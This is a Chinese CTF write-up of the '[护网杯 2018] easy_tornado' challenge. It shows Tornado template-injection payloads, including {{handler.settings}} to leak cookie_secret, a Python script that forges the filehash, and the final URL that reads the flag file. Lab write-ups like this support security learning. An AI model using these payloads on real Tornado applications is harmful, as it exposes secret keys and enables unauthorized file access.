简介
原题复现:https://gitee.com/xiaohua1998/qwb_2019_supersqli
考察知识点:[护网杯 2018] WEB easy_tornado
线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题
[护网杯 2018]easy_tornado
打开页面发现三个链接依次打开 发现各自的文本
flag in /fllllllllllllag render md5(cookie_secret+md5(filename))
从上面三个信息我们的值flag在/fllllllllllllag文件 render这个卡住了看了WP 说render是模板注入,经过测试发现过滤了
payload:
http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/error?msg={{1*2}}
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
然后就是这段代码md5(cookie_secret+md5(filename)) 我们根据之前打开文件的url参数分析这个就是filehash的值 想获得flag只要我们在url中传入/fllllllllllllag文件和filehash 经过这段代码处理的值即可关键就在这cookie_secret这块 我们得想办法获得cookie_secret
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量
通过模板注入方式我们可以构造
关于如何获取cookie_secret是看WP的目前理解的有点混乱不清晰!!!!
payload:
http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/error?msg={{handler.settings}}
成功拿到
根据获得的cookie_secret构造md5(cookie_secret+md5(filename))这样的py或者手动cmd5去加密
import hashlib hash = hashlib.md5() filename='/fllllllllllllag' cookie_secret="0567b8eb-21bc-4c25-861f-481b36239643" hash.update(filename.encode('utf-8')) s1=hash.hexdigest() hash = hashlib.md5() hash.update((cookie_secret+s1).encode('utf-8')) print(hash.hexdigest())
得到加密的结果
filename拼接我们的flag文件/fllllllllllllag将加密的结果拼接在filehash的后面得到最终payload:
http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=1491d6198e0f7d246a15e40bbf00ae43
获得flag
参考学习:
https://blog.csdn.net/ljphilp/article/details/47103745
https://www.cnblogs.com/chrysanthemum/p/11716903.html
https://darkwing.moe/2019/10/30/护网杯2018-easy-tornado/
SSTI完全学习:https://blog.csdn.net/zz_Caleb/article/details/96480967
https://www.jianshu.com/p/aef2ae0498df
https://www.cnblogs.com/20175211lyz/p/11425368.html
来源:https://www.cnblogs.com/xhds/p/12285121.html